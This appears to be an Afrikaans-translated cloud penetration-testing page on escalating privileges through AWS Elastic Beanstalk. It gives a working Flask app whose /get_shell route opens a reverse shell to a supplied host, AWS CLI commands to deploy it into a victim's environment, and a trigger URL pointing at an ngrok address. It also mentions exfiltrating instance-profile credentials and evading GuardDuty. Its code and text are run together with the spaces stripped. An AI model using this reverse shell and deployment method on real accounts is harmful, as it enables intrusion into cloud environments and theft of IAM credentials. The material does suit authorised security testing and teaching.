Om sensitiewe aksies in Beanstalk uit te voer, sal jy 'n baie sensitiewe toestemmings in 'n baie verskillende dienste nodig hê. Jy kan byvoorbeeld die toestemmings nagaan wat gegee is aan arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, S3 skryf toestemmings & baie ander
Met skryf toestemmings oor die S3 emmer wat die kode van die omgewing bevat en toestemmings om die toepassing te herbou (dit is nodig elasticbeanstalk:RebuildEnvironment en 'n paar meer wat verband hou met S3, EC2 en Cloudformation), kan jy die kodewysig, die app herbou en die volgende keer wanneer jy toegang tot die app kry, sal dit jou nuwe kode uitvoer, wat die aanvaller in staat stel om die toepassing en die IAM rol geloofsbriewe daarvan te kompromitteer.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, en meer...
Die genoemde plus verskeie S3, EC2, cloudformation, autoscaling en elasticloadbalancing toestemmings is nodig om 'n rou Elastic Beanstalk-scenario van nuuts af te skep.
Eerstens moet jy 'n legitieme Beanstalk-omgewing skep met die kode wat jy in die slagoffer wil uitvoer volgens die vorige stappe. Potensieel 'n eenvoudige zip wat hierdie 2 lêers bevat:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Sodra jy jou eie Beanstalk omgewing aan die gang het met jou rev shell, is dit tyd om dit te migreer na die slagoffer se omgewing. Om dit te doen, moet jy die Bucket-beleid van jou beanstalk S3-bucket opdateer sodat die slagoffer toegang kan hê (Let daarop dat dit die Bucket vir ELKEEN sal oopmaak):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.